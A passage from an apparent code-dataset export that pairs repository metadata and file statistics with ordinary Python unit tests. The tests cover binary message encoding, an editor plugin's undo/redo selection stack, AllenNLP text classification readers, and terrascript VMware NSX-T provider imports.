frame+=bytearray(ctypes.c_uint16(18+4))
frame+=bytearray(ctypes.c_uint32(4203239))
encodedMsg=msg.encodeMessage()
self.assertEqual(frame,encodedMsg)
def testEncodingWithExtension(self):
msg=ClientMessage()
vr=0
optype=200
corrID=0
parID=-1
msg.version=vr
msg.optype=optype
msg.correlation=corrID
msg.partition=parID
msg.addExtension(bytearray(ctypes.c_uint32(4203239)))
frame = bytearray()
#Create a byte array of size 18
frame+=bytearray(ctypes.c_int32(18+4))
frame+=bytearray(ctypes.c_uint8(vr))
frame+=bytearray(ctypes.c_uint8(192))
frame+=bytearray(ctypes.c_uint16(optype))
frame+=bytearray(ctypes.c_int32(corrID))
frame+=bytearray(ctypes.c_int32(parID))
frame+=bytearray(ctypes.c_uint16(22))
frame+=bytearray(ctypes.c_uint32(4203239))
encodedMsg=msg.encodeMessage()
self.assertEqual(frame,encodedMsg)
def testEncodingWithExtensionAndPayload(self):
msg=ClientMessage()
vr=0
optype=200
corrID=0
parID=-1
msg.version=vr
msg.optype=optype
msg.correlation=corrID
msg.partition=parID
msg.addExtension(bytearray(ctypes.c_uint32(4203239)))
msg.setPayload(bytearray(ctypes.c_uint32(4203239)))
frame = bytearray()
#Create a byte array of size 18
frame+=bytearray(ctypes.c_int32(18+4+4))
frame+=bytearray(ctypes.c_uint8(vr))
frame+=bytearray(ctypes.c_uint8(192))
frame+=bytearray(ctypes.c_uint16(optype))
frame+=bytearray(ctypes.c_int32(corrID))
frame+=bytearray(ctypes.c_int32(parID))
frame+=bytearray(ctypes.c_uint16(26))
frame+=bytearray(ctypes.c_uint32(4203239))
frame+=bytearray(ctypes.c_uint32(4203239))
encodedMsg=msg.encodeMessage()
self.assertEqual(frame,encodedMsg)
def testAuthentication(self):
msg=AuthenticationMessage()
newmsg=msg.encodeMessage()
msg2=AuthenticationMessage.decodeMessage(newmsg)
self.assertEqual(msg.FRAME_SIZE,msg2.FRAME_SIZE)
if __name__ == '__main__':
unittest.main()
| 27.906433
| 66
| 0.639774
| 535
| 4,772
| 5.598131
| 0.128972
| 0.205676
| 0.229716
| 0.273456
| 0.749917
| 0.749917
| 0.72621
| 0.716528
| 0.716528
| 0.716528
| 0
| 0.061577
| 0.247904
| 4,772
| 170
| 67
| 28.070588
| 0.772917
| 0.031433
| 0
| 0.75
| 0
| 0
| 0.004983
| 0
| 0
| 0
| 0
| 0
| 0.056452
| 1
| 0.056452
| false
| 0
| 0.024194
| 0
| 0.08871
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
d790b49e96d99599e4aa37f31920ba8bf2f6f9b0
| 6,589
|
py
|
Python
|
test/undo_redo.py
|
aronwoost/sublime-expand-region
|
555c763026cdaa260c43fc7a90e704b4d0e8a616
|
[
"MIT"
] | 205
|
2015-01-03T13:28:20.000Z
|
2022-02-09T08:53:34.000Z
|
test/undo_redo.py
|
evandroforks/ExpandRegion
|
47f33937e1779999396ac7ad4208276dd160df18
|
[
"MIT"
] | 52
|
2015-01-04T20:15:31.000Z
|
2021-05-25T21:00:50.000Z
|
test/undo_redo.py
|
aronwoost/sublime-expand-region
|
555c763026cdaa260c43fc7a90e704b4d0e8a616
|
[
"MIT"
] | 31
|
2015-02-21T14:38:52.000Z
|
2021-08-24T03:19:12.000Z
|
import unittest
from expand_region_handler import *
class UndoRedoTest(unittest.TestCase):
def test_dont_crash_with_blank_json (self):
settingsJson = ''
newSettingsJson = add_to_stack(settingsJson, "teststring", 2, 3, 1, 1);
newSettings = json.loads(newSettingsJson)
self.assertEqual(newSettings.get("hash"), "d67c5cbf5b01c9f91932e3b8def5e5f8")
self.assertEqual(newSettings.get("stack")[0].get("start"), 2)
self.assertEqual(newSettings.get("stack")[0].get("end"), 3)
def test_add_selection_as_only_item_in_stack_1 (self):
settingsJson = '{"stack": [], "hash": ""}'
newSettingsJson = add_to_stack(settingsJson, "teststring", 2, 3, 1, 1);
newSettings = json.loads(newSettingsJson)
self.assertEqual(newSettings.get("hash"), "d67c5cbf5b01c9f91932e3b8def5e5f8")
self.assertEqual(newSettings.get("stack")[0].get("start"), 2)
self.assertEqual(newSettings.get("stack")[0].get("end"), 3)
def test_add_selection_as_only_item_in_stack_2 (self):
settingsJson = '{"stack": [], "hash": "d67c5cbf5b01c9f91932e3b8def5e5f8"}'
newSettingsJson = add_to_stack(settingsJson, "teststring", 2, 3, 1, 1);
newSettings = json.loads(newSettingsJson)
self.assertEqual(newSettings.get("hash"), "d67c5cbf5b01c9f91932e3b8def5e5f8")
self.assertEqual(newSettings.get("stack")[0].get("start"), 2)
self.assertEqual(newSettings.get("stack")[0].get("end"), 3)
def test_add_selection_as_only_item_in_stack_3 (self):
settingsJson = '{"hash": "d67c5cbf5b01c9f91932e3b8def5e5f8", "stack": [{"start": 2, "end": 3}]}'
newSettingsJson = add_to_stack(settingsJson, "teststring1", 89, 99, 1, 1);
newSettings = json.loads(newSettingsJson)
self.assertEqual(newSettings.get("hash"), "790fabec68fa346d3444a3a2196b1741")
self.assertEqual(newSettings.get("stack")[0].get("start"), 89)
self.assertEqual(newSettings.get("stack")[0].get("end"), 99)
def test_add_selection_as_only_item_in_stack_4 (self):
settingsJson = '{"hash": "d67c5cbf5b01c9f91932e3b8def5e5f8", "stack": [{"start": 2, "end": 3}]}'
newSettingsJson = add_to_stack(settingsJson, "teststring", 89, 99, 1, 1);
newSettings = json.loads(newSettingsJson)
self.assertEqual(newSettings.get("hash"), "d67c5cbf5b01c9f91932e3b8def5e5f8")
self.assertEqual(newSettings.get("stack")[0].get("start"), 89)
self.assertEqual(newSettings.get("stack")[0].get("end"), 99)
def test_add_selection_to_existing_stack (self):
settingsJson = '{"hash": "d67c5cbf5b01c9f91932e3b8def5e5f8", "stack": [{"start": 2, "end": 3}]}'
newSettingsJson = add_to_stack(settingsJson, "teststring", 1, 4, 2, 3);
newSettings = json.loads(newSettingsJson)
self.assertEqual(newSettings.get("hash"), "d67c5cbf5b01c9f91932e3b8def5e5f8")
self.assertEqual(newSettings.get("stack")[0].get("start"), 2)
self.assertEqual(newSettings.get("stack")[0].get("end"), 3)
self.assertEqual(newSettings.get("stack")[1].get("start"), 1)
self.assertEqual(newSettings.get("stack")[1].get("end"), 4)
def test_should_not_crash_with_umlaute (self):
settingsJson = '{"hash": "", "stack": []}'
newSettingsJson = add_to_stack(settingsJson, "hinzufügen", 1, 4, 2, 3);
## why the fuck is it working, it doesn't work in the IDE
newSettings = json.loads(newSettingsJson)
self.assertEqual(newSettings.get("hash"), "7f633295a95fdba4a07dcbe70d0768a0")
self.assertEqual(newSettings.get("stack")[0].get("start"), 1)
self.assertEqual(newSettings.get("stack")[0].get("end"), 4)
## undo
def test_clear_stack_on_undo_because_string_is_different (self):
settingsJson = '{"hash": "d67c5cbf5b01c9f91932e3b8def5e5f8", "stack": [{"start": 2, "end": 3}]}'
result = get_last_selection(settingsJson, "teststring1", 2, 3);
newSettings = json.loads(result["newSettingsJson"])
self.assertEqual(newSettings.get("hash"), "790fabec68fa346d3444a3a2196b1741")
self.assertEqual(len(newSettings.get("stack")), 0)
def test_clear_stack_on_undo_because_selection_is_different (self):
settingsJson = '{"hash": "d67c5cbf5b01c9f91932e3b8def5e5f8", "stack": [{"start": 2, "end": 3}, {"start": 1, "end": 4}]}'
result = get_last_selection(settingsJson, "teststring", 89, 99);
newSettings = json.loads(result["newSettingsJson"])
self.assertEqual(newSettings.get("hash"), "d67c5cbf5b01c9f91932e3b8def5e5f8")
self.assertEqual(len(newSettings.get("stack")), 0)
def test_return_last_selection (self):
settingsJson = '{"hash": "d67c5cbf5b01c9f91932e3b8def5e5f8", "stack": [{"start": 2, "end": 3}, {"start": 1, "end": 4}]}'
result = get_last_selection(settingsJson, "teststring", 1, 4);
newSelection = result["newSelection"]
self.assertEqual(newSelection.get("startIndex"), 2)
self.assertEqual(newSelection.get("endIndex"), 3)
newSettings = json.loads(result["newSettingsJson"])
self.assertEqual(newSettings.get("hash"), "d67c5cbf5b01c9f91932e3b8def5e5f8")
self.assertEqual(len(newSettings.get("stack")), 1)
self.assertEqual(newSettings.get("stack")[0].get("start"), 2)
self.assertEqual(newSettings.get("stack")[0].get("end"), 3)
def test_should_not_crash_when_stack_empty_1 (self):
settingsJson = '{"stack": [], "hash": ""}'
result = get_last_selection(settingsJson, "teststring", 1, 4);
newSelection = result["newSelection"]
self.assertEqual(newSelection, None)
newSettings = json.loads(result["newSettingsJson"])
self.assertEqual(newSettings.get("hash"), "d67c5cbf5b01c9f91932e3b8def5e5f8")
self.assertEqual(len(newSettings.get("stack")), 0)
def test_should_not_crash_when_stack_empty_2 (self):
settingsJson = '{"stack": [], "hash": "d67c5cbf5b01c9f91932e3b8def5e5f8"}'
result = get_last_selection(settingsJson, "teststring", 1, 4);
newSelection = result["newSelection"]
self.assertEqual(newSelection, None)
newSettings = json.loads(result["newSettingsJson"])
self.assertEqual(newSettings.get("hash"), "d67c5cbf5b01c9f91932e3b8def5e5f8")
self.assertEqual(len(newSettings.get("stack")), 0)
def test_should_not_crash_when_last_selection (self):
settingsJson = '{"hash": "d67c5cbf5b01c9f91932e3b8def5e5f8", "stack": [{"start": 1, "end": 4}]}'
result = get_last_selection(settingsJson, "teststring", 1, 4);
newSelection = result["newSelection"]
self.assertEqual(newSelection, None)
newSettings = json.loads(result["newSettingsJson"])
self.assertEqual(newSettings.get("hash"), "d67c5cbf5b01c9f91932e3b8def5e5f8")
self.assertEqual(len(newSettings.get("stack")), 0)
if __name__ == "__main__":
unittest.main()
| 54.008197
| 124
| 0.71498
| 731
| 6,589
| 6.277702
| 0.109439
| 0.137285
| 0.175637
| 0.195903
| 0.91436
| 0.882327
| 0.857049
| 0.837002
| 0.782523
| 0.740248
| 0
| 0.086882
| 0.119593
| 6,589
| 122
| 125
| 54.008197
| 0.704189
| 0.008954
| 0
| 0.660194
| 0
| 0.019417
| 0.267545
| 0.112013
| 0
| 0
| 0
| 0
| 0.407767
| 1
| 0.126214
| false
| 0
| 0.019417
| 0
| 0.15534
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
ad264d9cf6ee1502077b6149735a58eb72cb93e4
| 10,878
|
py
|
Python
|
allennlp/tests/data/dataset_readers/text_classification_json_test.py
|
tianjianjiang/allennlp
|
0839f5c263911ec5ff04a2ebe575493c7e0436ef
|
[
"Apache-2.0"
] | 2
|
2019-12-03T20:04:56.000Z
|
2021-03-29T10:38:06.000Z
|
allennlp/tests/data/dataset_readers/text_classification_json_test.py
|
tianjianjiang/allennlp
|
0839f5c263911ec5ff04a2ebe575493c7e0436ef
|
[
"Apache-2.0"
] | null | null | null |
allennlp/tests/data/dataset_readers/text_classification_json_test.py
|
tianjianjiang/allennlp
|
0839f5c263911ec5ff04a2ebe575493c7e0436ef
|
[
"Apache-2.0"
] | 2
|
2019-12-04T16:55:13.000Z
|
2019-12-06T18:47:15.000Z
|
import pytest
from allennlp.data.dataset_readers import TextClassificationJsonReader
from allennlp.common.util import ensure_list
from allennlp.common.testing import AllenNlpTestCase
class TestTextClassificationJsonReader:
@pytest.mark.parametrize("lazy", (True, False))
def test_set_skip_indexing_true(self, lazy):
reader = TextClassificationJsonReader(lazy=lazy, skip_label_indexing=True)
ag_path = (
AllenNlpTestCase.FIXTURES_ROOT
/ "data"
/ "text_classification_json"
/ "integer_labels.jsonl"
)
instances = reader.read(ag_path)
instances = ensure_list(instances)
instance1 = {"tokens": ["This", "text", "has", "label", "0"], "label": 0}
instance2 = {"tokens": ["This", "text", "has", "label", "1"], "label": 1}
assert len(instances) == 2
fields = instances[0].fields
assert [t.text for t in fields["tokens"].tokens] == instance1["tokens"]
assert fields["label"].label == instance1["label"]
fields = instances[1].fields
assert [t.text for t in fields["tokens"].tokens] == instance2["tokens"]
assert fields["label"].label == instance2["label"]
with pytest.raises(ValueError) as exec_info:
ag_path = (
AllenNlpTestCase.FIXTURES_ROOT
/ "data"
/ "text_classification_json"
/ "imdb_corpus.jsonl"
)
ensure_list(reader.read(ag_path))
assert str(exec_info.value) == "Labels must be integers if skip_label_indexing is True."
@pytest.mark.parametrize("lazy", (True, False))
def test_read_from_file_ag_news_corpus(self, lazy):
reader = TextClassificationJsonReader(lazy=lazy)
ag_path = (
AllenNlpTestCase.FIXTURES_ROOT
/ "data"
/ "text_classification_json"
/ "ag_news_corpus.jsonl"
)
instances = reader.read(ag_path)
instances = ensure_list(instances)
instance1 = {
"tokens": [
"Memphis",
"Rout",
"Still",
"Stings",
"for",
"No",
".",
"14",
"Louisville",
";",
"Coach",
"Petrino",
"Vows",
"to",
"Have",
"Team",
"Better",
"Prepared",
".",
"NASHVILLE",
",",
"Tenn.",
"Nov",
"3",
",",
"2004",
"-",
"Louisville",
"#",
"39;s",
"30-point",
"loss",
"at",
"home",
"to",
"Memphis",
"last",
"season",
"is",
"still",
"a",
"painful",
"memory",
"for",
"the",
"Cardinals",
".",
],
"label": "2",
}
instance2 = {
"tokens": [
"AP",
"-",
"Eli",
"Manning",
"has",
"replaced",
"Kurt",
"Warner",
"as",
"the",
"New",
"York",
"Giants",
"'",
"starting",
"quarterback",
".",
],
"label": "2",
}
instance3 = {
"tokens": [
"A",
"conference",
"dedicated",
"to",
"online",
"journalism",
"explores",
"the",
"effect",
"blogs",
"have",
"on",
"news",
"reporting",
".",
"Some",
"say",
"they",
"draw",
"attention",
"to",
"under",
"-",
"reported",
"stories",
".",
"Others",
"struggle",
"to",
"establish",
"the",
"credibility",
"enjoyed",
"by",
"professionals",
".",
],
"label": "4",
}
assert len(instances) == 3
fields = instances[0].fields
assert [t.text for t in fields["tokens"].tokens] == instance1["tokens"]
assert fields["label"].label == instance1["label"]
fields = instances[1].fields
assert [t.text for t in fields["tokens"].tokens] == instance2["tokens"]
assert fields["label"].label == instance2["label"]
fields = instances[2].fields
assert [t.text for t in fields["tokens"].tokens] == instance3["tokens"]
assert fields["label"].label == instance3["label"]
@pytest.mark.parametrize("lazy", (True, False))
def test_read_from_file_ag_news_corpus_and_truncates_properly(self, lazy):
reader = TextClassificationJsonReader(lazy=lazy, max_sequence_length=5)
ag_path = (
AllenNlpTestCase.FIXTURES_ROOT
/ "data"
/ "text_classification_json"
/ "ag_news_corpus.jsonl"
)
instances = reader.read(ag_path)
instances = ensure_list(instances)
instance1 = {"tokens": ["Memphis", "Rout", "Still", "Stings", "for"], "label": "2"}
instance2 = {"tokens": ["AP", "-", "Eli", "Manning", "has"], "label": "2"}
instance3 = {"tokens": ["A", "conference", "dedicated", "to", "online"], "label": "4"}
assert len(instances) == 3
fields = instances[0].fields
assert [t.text for t in fields["tokens"].tokens] == instance1["tokens"]
assert fields["label"].label == instance1["label"]
fields = instances[1].fields
assert [t.text for t in fields["tokens"].tokens] == instance2["tokens"]
assert fields["label"].label == instance2["label"]
fields = instances[2].fields
assert [t.text for t in fields["tokens"].tokens] == instance3["tokens"]
assert fields["label"].label == instance3["label"]
@pytest.mark.skip(reason="failing mysteriously")
@pytest.mark.parametrize("lazy", (True, False))
def test_read_from_file_ag_news_corpus_and_segments_sentences_properly(self, lazy):
reader = TextClassificationJsonReader(lazy=lazy, segment_sentences=True)
ag_path = (
AllenNlpTestCase.FIXTURES_ROOT
/ "data"
/ "text_classification_json"
/ "ag_news_corpus.jsonl"
)
instances = reader.read(ag_path)
instances = ensure_list(instances)
instance1 = {
"tokens": [
["Memphis", "Rout", "Still", "Stings", "for", "No", ".", "14", "Louisville", ";"],
["Coach", "Petrino", "Vows", "to", "Have", "Team", "Better", "Prepared", "."],
["NASHVILLE", ","],
[
"Tenn.",
"Nov",
"3",
",",
"2004",
"-",
"Louisville",
"#",
"39;s",
"30-point",
"loss",
"at",
"home",
"to",
"Memphis",
"last",
"season",
"is",
"still",
"a",
"painful",
"memory",
"for",
"the",
"Cardinals",
".",
],
],
"label": "2",
}
instance2 = {
"tokens": [
[
"AP",
"-",
"Eli",
"Manning",
"has",
"replaced",
"Kurt",
"Warner",
"as",
"the",
"New",
"York",
"Giants",
"'",
"starting",
"quarterback",
".",
]
],
"label": "2",
}
instance3 = {
"tokens": [
[
"A",
"conference",
"dedicated",
"to",
"online",
"journalism",
"explores",
"the",
"effect",
"blogs",
"have",
"on",
"news",
"reporting",
".",
],
[
"Some",
"say",
"they",
"draw",
"attention",
"to",
"under",
"-",
"reported",
"stories",
".",
],
[
"Others",
"struggle",
"to",
"establish",
"the",
"credibility",
"enjoyed",
"by",
"professionals",
".",
],
],
"label": "4",
}
assert len(instances) == 3
fields = instances[0].fields
text = [[token.text for token in sentence.tokens] for sentence in fields["tokens"]]
assert text == instance1["tokens"]
assert fields["label"].label == instance1["label"]
fields = instances[1].fields
text = [[token.text for token in sentence.tokens] for sentence in fields["tokens"]]
assert text == instance2["tokens"]
assert fields["label"].label == instance2["label"]
fields = instances[2].fields
text = [[token.text for token in sentence.tokens] for sentence in fields["tokens"]]
assert text == instance3["tokens"]
assert fields["label"].label == instance3["label"]
| 31.807018
| 98
| 0.385365
| 760
| 10,878
| 5.413158
| 0.207895
| 0.040836
| 0.037433
| 0.061497
| 0.873116
| 0.863879
| 0.839572
| 0.811376
| 0.780263
| 0.753768
| 0
| 0.014917
| 0.48235
| 10,878
| 341
| 99
| 31.900293
| 0.715681
| 0
| 0
| 0.809816
| 0
| 0
| 0.158209
| 0.011031
| 0
| 0
| 0
| 0
| 0.082822
| 1
| 0.01227
| false
| 0
| 0.01227
| 0
| 0.027607
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ad289716f5414b4e758c2f581eaa3561f35a8d19
| 12,192
|
py
|
Python
|
tests/test_provider_vmware_nsxt.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 507
|
2017-07-26T02:58:38.000Z
|
2022-01-21T12:35:13.000Z
|
tests/test_provider_vmware_nsxt.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 135
|
2017-07-20T12:01:59.000Z
|
2021-10-04T22:25:40.000Z
|
tests/test_provider_vmware_nsxt.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 81
|
2018-02-20T17:55:28.000Z
|
2022-01-31T07:08:40.000Z
|
# tests/test_provider_vmware_nsxt.py
# Automatically generated by tools/makecode.py (24-Sep-2021 15:22:57 UTC)
def test_provider_import():
import terrascript.provider.vmware.nsxt
def test_resource_import():
from terrascript.resource.vmware.nsxt import nsxt_algorithm_type_ns_service
from terrascript.resource.vmware.nsxt import nsxt_dhcp_relay_profile
from terrascript.resource.vmware.nsxt import nsxt_dhcp_relay_service
from terrascript.resource.vmware.nsxt import nsxt_dhcp_server_ip_pool
from terrascript.resource.vmware.nsxt import nsxt_dhcp_server_profile
from terrascript.resource.vmware.nsxt import nsxt_ether_type_ns_service
from terrascript.resource.vmware.nsxt import nsxt_firewall_section
from terrascript.resource.vmware.nsxt import nsxt_icmp_type_ns_service
from terrascript.resource.vmware.nsxt import nsxt_igmp_type_ns_service
from terrascript.resource.vmware.nsxt import nsxt_ip_block
from terrascript.resource.vmware.nsxt import nsxt_ip_block_subnet
from terrascript.resource.vmware.nsxt import nsxt_ip_discovery_switching_profile
from terrascript.resource.vmware.nsxt import nsxt_ip_pool
from terrascript.resource.vmware.nsxt import nsxt_ip_pool_allocation_ip_address
from terrascript.resource.vmware.nsxt import nsxt_ip_protocol_ns_service
from terrascript.resource.vmware.nsxt import nsxt_ip_set
from terrascript.resource.vmware.nsxt import nsxt_l4_port_set_ns_service
from terrascript.resource.vmware.nsxt import nsxt_lb_client_ssl_profile
from terrascript.resource.vmware.nsxt import nsxt_lb_cookie_persistence_profile
from terrascript.resource.vmware.nsxt import nsxt_lb_fast_tcp_application_profile
from terrascript.resource.vmware.nsxt import nsxt_lb_fast_udp_application_profile
from terrascript.resource.vmware.nsxt import nsxt_lb_http_application_profile
from terrascript.resource.vmware.nsxt import nsxt_lb_http_forwarding_rule
from terrascript.resource.vmware.nsxt import nsxt_lb_http_monitor
from terrascript.resource.vmware.nsxt import nsxt_lb_http_request_rewrite_rule
from terrascript.resource.vmware.nsxt import nsxt_lb_http_response_rewrite_rule
from terrascript.resource.vmware.nsxt import nsxt_lb_http_virtual_server
from terrascript.resource.vmware.nsxt import nsxt_lb_https_monitor
from terrascript.resource.vmware.nsxt import nsxt_lb_icmp_monitor
from terrascript.resource.vmware.nsxt import nsxt_lb_passive_monitor
from terrascript.resource.vmware.nsxt import nsxt_lb_pool
from terrascript.resource.vmware.nsxt import nsxt_lb_server_ssl_profile
from terrascript.resource.vmware.nsxt import nsxt_lb_service
from terrascript.resource.vmware.nsxt import nsxt_lb_source_ip_persistence_profile
from terrascript.resource.vmware.nsxt import nsxt_lb_tcp_monitor
from terrascript.resource.vmware.nsxt import nsxt_lb_tcp_virtual_server
from terrascript.resource.vmware.nsxt import nsxt_lb_udp_monitor
from terrascript.resource.vmware.nsxt import nsxt_lb_udp_virtual_server
from terrascript.resource.vmware.nsxt import nsxt_logical_dhcp_port
from terrascript.resource.vmware.nsxt import nsxt_logical_dhcp_server
from terrascript.resource.vmware.nsxt import nsxt_logical_port
from terrascript.resource.vmware.nsxt import (
nsxt_logical_router_centralized_service_port,
)
from terrascript.resource.vmware.nsxt import nsxt_logical_router_downlink_port
from terrascript.resource.vmware.nsxt import nsxt_logical_router_link_port_on_tier0
from terrascript.resource.vmware.nsxt import nsxt_logical_router_link_port_on_tier1
from terrascript.resource.vmware.nsxt import nsxt_logical_switch
from terrascript.resource.vmware.nsxt import nsxt_logical_tier0_router
from terrascript.resource.vmware.nsxt import nsxt_logical_tier1_router
from terrascript.resource.vmware.nsxt import nsxt_mac_management_switching_profile
from terrascript.resource.vmware.nsxt import nsxt_nat_rule
from terrascript.resource.vmware.nsxt import nsxt_ns_group
from terrascript.resource.vmware.nsxt import nsxt_ns_service_group
from terrascript.resource.vmware.nsxt import nsxt_policy_bgp_config
from terrascript.resource.vmware.nsxt import nsxt_policy_bgp_neighbor
from terrascript.resource.vmware.nsxt import nsxt_policy_context_profile
from terrascript.resource.vmware.nsxt import nsxt_policy_dhcp_relay
from terrascript.resource.vmware.nsxt import nsxt_policy_dhcp_server
from terrascript.resource.vmware.nsxt import nsxt_policy_dhcp_v4_static_binding
from terrascript.resource.vmware.nsxt import nsxt_policy_dhcp_v6_static_binding
from terrascript.resource.vmware.nsxt import nsxt_policy_dns_forwarder_zone
from terrascript.resource.vmware.nsxt import nsxt_policy_domain
from terrascript.resource.vmware.nsxt import nsxt_policy_evpn_config
from terrascript.resource.vmware.nsxt import nsxt_policy_evpn_tenant
from terrascript.resource.vmware.nsxt import nsxt_policy_evpn_tunnel_endpoint
from terrascript.resource.vmware.nsxt import nsxt_policy_fixed_segment
from terrascript.resource.vmware.nsxt import nsxt_policy_gateway_community_list
from terrascript.resource.vmware.nsxt import nsxt_policy_gateway_dns_forwarder
from terrascript.resource.vmware.nsxt import nsxt_policy_gateway_policy
from terrascript.resource.vmware.nsxt import nsxt_policy_gateway_prefix_list
from terrascript.resource.vmware.nsxt import (
nsxt_policy_gateway_redistribution_config,
)
from terrascript.resource.vmware.nsxt import nsxt_policy_gateway_route_map
from terrascript.resource.vmware.nsxt import nsxt_policy_group
from terrascript.resource.vmware.nsxt import nsxt_policy_intrusion_service_policy
from terrascript.resource.vmware.nsxt import nsxt_policy_intrusion_service_profile
from terrascript.resource.vmware.nsxt import nsxt_policy_ip_address_allocation
from terrascript.resource.vmware.nsxt import nsxt_policy_ip_block
from terrascript.resource.vmware.nsxt import nsxt_policy_ip_pool
from terrascript.resource.vmware.nsxt import nsxt_policy_ip_pool_block_subnet
from terrascript.resource.vmware.nsxt import nsxt_policy_ip_pool_static_subnet
from terrascript.resource.vmware.nsxt import nsxt_policy_lb_pool
from terrascript.resource.vmware.nsxt import nsxt_policy_lb_service
from terrascript.resource.vmware.nsxt import nsxt_policy_lb_virtual_server
from terrascript.resource.vmware.nsxt import nsxt_policy_nat_rule
from terrascript.resource.vmware.nsxt import nsxt_policy_ospf_area
from terrascript.resource.vmware.nsxt import nsxt_policy_ospf_config
from terrascript.resource.vmware.nsxt import nsxt_policy_predefined_gateway_policy
from terrascript.resource.vmware.nsxt import nsxt_policy_predefined_security_policy
from terrascript.resource.vmware.nsxt import nsxt_policy_qos_profile
from terrascript.resource.vmware.nsxt import nsxt_policy_security_policy
from terrascript.resource.vmware.nsxt import nsxt_policy_segment
from terrascript.resource.vmware.nsxt import nsxt_policy_service
from terrascript.resource.vmware.nsxt import nsxt_policy_static_route
from terrascript.resource.vmware.nsxt import nsxt_policy_static_route_bfd_peer
from terrascript.resource.vmware.nsxt import nsxt_policy_tier0_gateway
from terrascript.resource.vmware.nsxt import nsxt_policy_tier0_gateway_ha_vip_config
from terrascript.resource.vmware.nsxt import nsxt_policy_tier0_gateway_interface
from terrascript.resource.vmware.nsxt import nsxt_policy_tier1_gateway
from terrascript.resource.vmware.nsxt import nsxt_policy_tier1_gateway_interface
from terrascript.resource.vmware.nsxt import nsxt_policy_vlan_segment
from terrascript.resource.vmware.nsxt import nsxt_policy_vm_tags
from terrascript.resource.vmware.nsxt import nsxt_qos_switching_profile
from terrascript.resource.vmware.nsxt import nsxt_spoofguard_switching_profile
from terrascript.resource.vmware.nsxt import nsxt_static_route
from terrascript.resource.vmware.nsxt import nsxt_switch_security_switching_profile
from terrascript.resource.vmware.nsxt import nsxt_vlan_logical_switch
from terrascript.resource.vmware.nsxt import nsxt_vm_tags
def test_datasource_import():
from terrascript.data.vmware.nsxt import nsxt_certificate
from terrascript.data.vmware.nsxt import nsxt_edge_cluster
from terrascript.data.vmware.nsxt import nsxt_firewall_section
from terrascript.data.vmware.nsxt import nsxt_ip_pool
from terrascript.data.vmware.nsxt import nsxt_logical_tier0_router
from terrascript.data.vmware.nsxt import nsxt_logical_tier1_router
from terrascript.data.vmware.nsxt import nsxt_mac_pool
from terrascript.data.vmware.nsxt import nsxt_management_cluster
from terrascript.data.vmware.nsxt import nsxt_ns_group
from terrascript.data.vmware.nsxt import nsxt_ns_service
from terrascript.data.vmware.nsxt import nsxt_policy_bfd_profile
from terrascript.data.vmware.nsxt import nsxt_policy_certificate
from terrascript.data.vmware.nsxt import nsxt_policy_context_profile
from terrascript.data.vmware.nsxt import nsxt_policy_dhcp_server
from terrascript.data.vmware.nsxt import nsxt_policy_edge_cluster
from terrascript.data.vmware.nsxt import nsxt_policy_edge_node
from terrascript.data.vmware.nsxt import nsxt_policy_gateway_policy
from terrascript.data.vmware.nsxt import nsxt_policy_gateway_qos_profile
from terrascript.data.vmware.nsxt import nsxt_policy_group
from terrascript.data.vmware.nsxt import nsxt_policy_intrusion_service_profile
from terrascript.data.vmware.nsxt import nsxt_policy_ip_block
from terrascript.data.vmware.nsxt import nsxt_policy_ip_discovery_profile
from terrascript.data.vmware.nsxt import nsxt_policy_ip_pool
from terrascript.data.vmware.nsxt import nsxt_policy_ipv6_dad_profile
from terrascript.data.vmware.nsxt import nsxt_policy_ipv6_ndra_profile
from terrascript.data.vmware.nsxt import nsxt_policy_lb_app_profile
from terrascript.data.vmware.nsxt import nsxt_policy_lb_client_ssl_profile
from terrascript.data.vmware.nsxt import nsxt_policy_lb_monitor
from terrascript.data.vmware.nsxt import nsxt_policy_lb_persistence_profile
from terrascript.data.vmware.nsxt import nsxt_policy_lb_server_ssl_profile
from terrascript.data.vmware.nsxt import nsxt_policy_mac_discovery_profile
from terrascript.data.vmware.nsxt import nsxt_policy_qos_profile
from terrascript.data.vmware.nsxt import nsxt_policy_realization_info
from terrascript.data.vmware.nsxt import nsxt_policy_security_policy
from terrascript.data.vmware.nsxt import nsxt_policy_segment_realization
from terrascript.data.vmware.nsxt import nsxt_policy_segment_security_profile
from terrascript.data.vmware.nsxt import nsxt_policy_service
from terrascript.data.vmware.nsxt import nsxt_policy_site
from terrascript.data.vmware.nsxt import nsxt_policy_spoofguard_profile
from terrascript.data.vmware.nsxt import nsxt_policy_tier0_gateway
from terrascript.data.vmware.nsxt import nsxt_policy_tier1_gateway
from terrascript.data.vmware.nsxt import nsxt_policy_transport_zone
from terrascript.data.vmware.nsxt import nsxt_policy_vm
from terrascript.data.vmware.nsxt import nsxt_policy_vni_pool
from terrascript.data.vmware.nsxt import nsxt_provider_info
from terrascript.data.vmware.nsxt import nsxt_switching_profile
from terrascript.data.vmware.nsxt import nsxt_transport_zone
# TODO: Shortcut imports without namespace for official and supported providers.
# TODO: This has to be moved into a required_providers block.
# def test_version_source():
#
# import terrascript.provider.vmware.nsxt
#
# t = terrascript.provider.vmware.nsxt.nsxt()
# s = str(t)
#
# assert 'https://github.com/vmware/terraform-provider-nsxt' in s
# assert '3.2.4' in s
| 36.39403
| 88
| 0.832513
| 1,669
| 12,192
